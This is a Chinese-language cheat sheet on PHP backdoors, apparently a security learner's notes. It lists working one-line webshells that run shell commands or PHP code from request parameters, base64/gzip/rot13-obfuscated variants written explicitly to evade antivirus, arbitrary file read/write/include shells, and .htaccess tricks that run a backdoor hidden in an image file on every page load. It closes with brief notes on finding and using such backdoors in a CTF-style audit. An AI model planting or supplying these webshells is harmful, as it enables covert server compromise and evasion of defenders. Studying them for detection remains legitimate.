后门利用
简单一句话后门分类
php后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数 执行命令
test.php?cmd=ls
system($_GET[cmd]);
passthru 函数
test.php?cmd=ls
passthru($_GET[cmd]); 执行命令
shell_exec 函数
test.php?cmd=ls
echo shell_exec($_GET[cmd]); 执行命令
exec 函数
test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr); 执行命令
print_r($arr);
popen 函数
test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函数
test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval($_POST['cmd']);
base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函数
//类似eval函数
assert($_POST['cmd']);
call_user_func 函数
//使用call_user_func调用assert
call_user_func('assert',$_POST['cmd']);
call_user_func 函数
//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST['cmd']);
组合代码
//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST['cmd']);
3. 文件包含与生成:
require 函数
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函数
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函数
//包含任意文件 www.chnhack.com
//test.php?file=123.jpg
include($_GET[file]);
include_once 函数
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函数
//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函数
//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函数
//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马出处www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif
PHP后门的eval类和system类 函数到底有哪些区别
一、
一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。
二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)
1、简单类
//#1-eval
<?php
eval($_POST["cmd"])
?>
//post:cmd=phpinfo();
//#2-assert
<?php
assert($_POST["cmd"])
?>
//post:cmd=phpinfo();
//#3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();
2、复杂类
//#1-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
//#2-array_map------->这个不懂先记下来
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
三、PHP的system类型函数,一句话:命令执行而不是代码执行。
//#1-system
<?php system($_POST["cmd"]);?>
//#2-passthru
<?php passthru($_POST["cmd"]);?>
//#3-exec
<?php echo exec($_POST["cmd"]);?>
//#4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>
//#5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>
//#6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>
//#7-``
<?php echo `whoami`?>
高深一点的:
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end-flush();
?>//?a=whoami
拿到源代码首先可以用D盾扫一下后门,然后导出
正常审计也可以
EVAL REQUEST后门
先看config.php
很明显一句话
其他一句话均可以这样利用
EXEC后门
成功
SYSTEM 后门
貌似不能用
INCLUDE
成功
任意文件读取
不过读取路径并不会利用。。。。。